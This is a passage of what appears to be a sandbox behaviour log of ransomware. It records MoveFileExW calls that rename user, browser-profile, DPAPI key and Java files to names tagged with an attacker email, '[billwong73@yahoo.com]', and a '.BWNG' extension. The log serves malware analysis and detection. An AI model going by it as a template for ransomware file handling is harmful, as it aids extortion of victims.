(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JP_swqa.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jp_swqa.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].vIWod8rz-2tQBQAYk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].viwod8rz-2tqbqayk.bwng"), dwFlags=0x1) returned 1 [0128.317] GetTickCount () returned 0x1167a10 [0128.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27026914520) returned 1 [0128.318] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].dgOndGKe-C7b6bTnd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].dgondgke-c7b6btnd.bwng"), dwFlags=0x1) returned 1 [0128.320] GetTickCount () returned 0x1167a10 [0128.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27027222923) returned 1 [0128.320] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\addons.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\addons.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].jKj8JkZh-MTa2JgYJ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].jkj8jkzh-mta2jgyj.bwng"), dwFlags=0x1) returned 1 [0128.322] GetTickCount () returned 0x1167a10 [0128.322] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27027452493) returned 1 [0128.323] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].1b2elKHC-Mc7y9Nrn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].1b2elkhc-mc7y9nrn.bwng"), dwFlags=0x1) returned 1 [0128.324] GetTickCount () returned 0x1167a10 [0128.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27027604562) returned 1 [0128.324] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uRiY syeTjaL9mOX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uriy syetjal9mox.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].tAZ01f39-IjfqCWpc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].taz01f39-ijfqcwpc.bwng"), dwFlags=0x1) returned 1 [0128.326] GetTickCount () returned 0x1167a10 [0128.326] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27027787172) returned 1 [0128.326] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\[billwong73@yahoo.com].800Kgs26-ImBCLURy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\[billwong73@yahoo.com].800kgs26-imbclury.bwng"), dwFlags=0x1) returned 1 [0128.327] GetTickCount () returned 0x1167a20 [0128.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27027969821) returned 1 [0128.328] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EGTY.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\egty.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].tWoPxrfL-p7LfRQvY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].twopxrfl-p7lfrqvy.bwng"), dwFlags=0x1) returned 1 [0128.329] GetTickCount () returned 0x1167a20 [0128.329] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27028153876) returned 1 [0128.330] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zQ5sJf5JXHwLqfefHA.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zq5sjf5jxhwlqfefha.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].76lEXSDk-5zwYVntc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].76lexsdk-5zwyvntc.bwng"), dwFlags=0x1) returned 1 [0128.331] GetTickCount () returned 0x1167a20 [0128.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27028317357) returned 1 [0128.331] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\[billwong73@yahoo.com].2kThn23x-41UAUlDz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\[billwong73@yahoo.com].2kthn23x-41uauldz.bwng"), dwFlags=0x1) returned 1 [0128.333] GetTickCount () returned 0x1167a20 [0128.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27028488824) returned 1 [0128.333] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\[billwong73@yahoo.com].qJVT7njz-WyJrqQRI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\[billwong73@yahoo.com].qjvt7njz-wyjrqqri.bwng"), dwFlags=0x1) returned 1 [0128.334] GetTickCount () returned 0x1167a20 [0128.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27028666642) returned 1 [0128.335] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\66ocaN_8OJ-N.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\66ocan_8oj-n.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].GV3Su90U-oH07YEHY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].gv3su90u-oh07yehy.bwng"), dwFlags=0x1) returned 1 [0128.336] GetTickCount () returned 0x1167a20 [0128.336] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27028829867) returned 1 [0128.336] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hIeLoDySKKc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hielodyskkc.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].EyCc5DJ9-vroIGPZ5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].eycc5dj9-vroigpz5.bwng"), dwFlags=0x1) returned 1 [0128.509] GetTickCount () returned 0x1167acc [0128.509] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27046169304) returned 1 [0128.510] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ryuh26k8H.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ryuh26k8h.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].ld3RzMpr-RZzFiJNs.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].ld3rzmpr-rzzfijns.bwng"), dwFlags=0x1) returned 1 [0128.511] GetTickCount () returned 0x1167acc [0128.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27046339618) returned 1 [0128.511] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\YA83pCu-qeoYh8UNgyo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ya83pcu-qeoyh8ungyo.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\[billwong73@yahoo.com].Ad0cH49a-mXVi5x3g.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\[billwong73@yahoo.com].ad0ch49a-mxvi5x3g.bwng"), dwFlags=0x1) returned 1 [0128.513] GetTickCount () returned 0x1167acc [0128.513] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27046485319) returned 1 [0128.513] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\FBz26i6Uk.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\fbz26i6uk.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\FBwe\\[billwong73@yahoo.com].cMDcwPwC-9rIUlomj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fbwe\\[billwong73@yahoo.com].cmdcwpwc-9riulomj.bwng"), dwFlags=0x1) returned 1 [0128.514] GetTickCount () returned 0x1167adb [0128.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27046673753) returned 1 [0128.515] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\Q2E9PQ0u7N6bZccEkgE2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\q2e9pq0u7n6bzccekge2.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\[billwong73@yahoo.com].1AGRLEC4-egVdldgj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\[billwong73@yahoo.com].1agrlec4-egvdldgj.bwng"), dwFlags=0x1) returned 1 [0128.516] GetTickCount () returned 0x1167adb [0128.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27046822713) returned 1 [0128.516] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\[billwong73@yahoo.com].dtraN3RY-YRyaWOVr.BWNG" (normalized: "c:\\users\\all users\\microsoft\\mf\\[billwong73@yahoo.com].dtran3ry-yryawovr.bwng"), dwFlags=0x1) returned 1 [0128.518] GetTickCount () returned 0x1167adb [0128.518] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27046988097) returned 1 [0128.518] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\java.security"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\[billwong73@yahoo.com].PhBb12D5-1a78NI8R.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\[billwong73@yahoo.com].phbb12d5-1a78ni8r.bwng"), dwFlags=0x1) returned 1 [0128.520] GetTickCount () returned 0x1167adb [0128.520] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27047186504) returned 1 [0128.520] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Algiers" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\algiers"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].vDGFCBwc-wZgqw2HQ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].vdgfcbwc-wzgqw2hq.bwng"), dwFlags=0x1) returned 1 [0128.522] GetTickCount () returned 0x1167adb [0128.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27047390231) returned 1 [0128.522] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Casablanca" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\casablanca"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].vho832TM-uuMGtLvd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].vho832tm-uumgtlvd.bwng"), dwFlags=0x1) returned 1 [0128.527] GetTickCount () returned 0x1167adb [0128.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27047919805) returned 1 [0128.527] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Harare" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\harare"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].M8x0J0qs-qg6yOvSr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].m8x0j0qs-qg6yovsr.bwng"), dwFlags=0x1) returned 1 [0128.529] GetTickCount () returned 0x1167aeb [0128.529] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27048097212) returned 1 [0128.529] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Luanda" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\luanda"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].M6y4ncPm-yjHG9aDR.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].m6y4ncpm-yjhg9adr.bwng"), dwFlags=0x1) returned 1 [0128.530] GetTickCount () returned 0x1167aeb [0128.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27048253820) returned 1 [0128.531] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ndjamena" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\ndjamena"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\[billwong73@yahoo.com].EXC1mFOy-Tvjlqwm0.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\[billwong73@yahoo.com].exc1mfoy-tvjlqwm0.bwng"), dwFlags=0x1) returned 1 [0128.532] GetTickCount () returned 0x1167aeb [0128.532] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27048391496) returned 1 [0128.532] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anchorage" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\anchorage"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].QjOU6fhN-RymxEvWm.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].qjou6fhn-rymxevwm.bwng"), dwFlags=0x1) returned 1 [0128.534] GetTickCount () returned 0x1167aeb [0128.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27048584909) returned 1 [0128.534] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\Rio_Gallegos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\rio_gallegos"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina\\[billwong73@yahoo.com].f5VNLi7P-csFDXvl8.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\argentina\\[billwong73@yahoo.com].f5vnli7p-csfdxvl8.bwng"), dwFlags=0x1) returned 1 [0128.535] GetTickCount () returned 0x1167aeb [0128.535] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27048767844) returned 1 [0128.536] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia_Banderas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\bahia_banderas"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].vy8Bmhhu-nkcAt6WT.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].vy8bmhhu-nkcat6wt.bwng"), dwFlags=0x1) returned 1 [0128.537] GetTickCount () returned 0x1167aeb [0128.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27048926707) returned 1 [0128.537] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Cancun" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\cancun"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Pt7fPMxi-Y4TuUCm7.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].pt7fpmxi-y4tuucm7.bwng"), dwFlags=0x1) returned 1 [0128.539] GetTickCount () returned 0x1167aeb [0128.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27049097550) returned 1 [0128.539] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Danmarkshavn" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\danmarkshavn"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].PnsFvO7O-eBNwtepd.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].pnsfvo7o-ebnwtepd.bwng"), dwFlags=0x1) returned 1 [0128.540] GetTickCount () returned 0x1167aeb [0128.540] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27049260008) returned 1 [0128.541] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\yVXuyUD.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\yvxuyud.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].1HRVVv94-Ahpmn1lV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].1hrvvv94-ahpmn1lv.bwng"), dwFlags=0x1) returned 1 [0128.542] GetTickCount () returned 0x1167aeb [0128.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27049394146) returned 1 [0128.542] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Glace_Bay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\glace_bay"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].4EVtw1LE-ntUz910T.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].4evtw1le-ntuz910t.bwng"), dwFlags=0x1) returned 1 [0128.543] GetTickCount () returned 0x1167aeb [0128.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27049556772) returned 1 [0128.544] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Havana" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\havana"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].oRPaHlDG-MBWfefHt.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].orpahldg-mbwfefht.bwng"), dwFlags=0x1) returned 1 [0128.645] GetTickCount () returned 0x1167b58 [0128.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27059752732) returned 1 [0128.646] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Inuvik" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\inuvik"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].NxXoXiGt-grAVJacN.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].nxxoxigt-gravjacn.bwng"), dwFlags=0x1) returned 1 [0128.648] GetTickCount () returned 0x1167b58 [0128.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27060041260) returned 1 [0128.649] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Managua" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\managua"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].v53Pklpm-gr7hMr0x.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].v53pklpm-gr7hmr0x.bwng"), dwFlags=0x1) returned 1 [0128.650] GetTickCount () returned 0x1167b58 [0128.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27060220810) returned 1 [0128.650] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Moncton" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\moncton"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].EpWcsHSR-kWOFNjF7.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].epwcshsr-kwofnjf7.bwng"), dwFlags=0x1) returned 1 [0128.652] GetTickCount () returned 0x1167b58 [0128.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27060388280) returned 1 [0128.652] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\Beulah" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota\\beulah"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota\\[billwong73@yahoo.com].q7fDuMC6-I3Xvb23W.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\north_dakota\\[billwong73@yahoo.com].q7fdumc6-i3xvb23w.bwng"), dwFlags=0x1) returned 1 [0128.654] GetTickCount () returned 0x1167b68 [0128.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27060602982) returned 1 [0128.654] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Port_of_Spain" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\port_of_spain"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].KKkMu3Ix-TQEpAWlJ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].kkkmu3ix-tqepawlj.bwng"), dwFlags=0x1) returned 1 [0128.655] GetTickCount () returned 0x1167b68 [0128.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27060759522) returned 1 [0128.656] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santiago" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\santiago"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].rlbqB1dy-Ya1bdHZj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].rlbqb1dy-ya1bdhzj.bwng"), dwFlags=0x1) returned 1 [0128.657] GetTickCount () returned 0x1167b68 [0128.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27060916116) returned 1 [0128.657] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Swift_Current" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\swift_current"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].TBMPRD2e-AetGYGrS.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].tbmprd2e-aetgygrs.bwng"), dwFlags=0x1) returned 1 [0128.658] GetTickCount () returned 0x1167b68 [0128.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27061068765) returned 1 [0128.659] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\[billwong73@yahoo.com].W0Bo4awo-FPg408Cf.BWNG" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\[billwong73@yahoo.com].w0bo4awo-fpg408cf.bwng"), dwFlags=0x1) returned 1 [0128.660] GetTickCount () returned 0x1167b68 [0128.660] QueryPerformanceCounter (in: 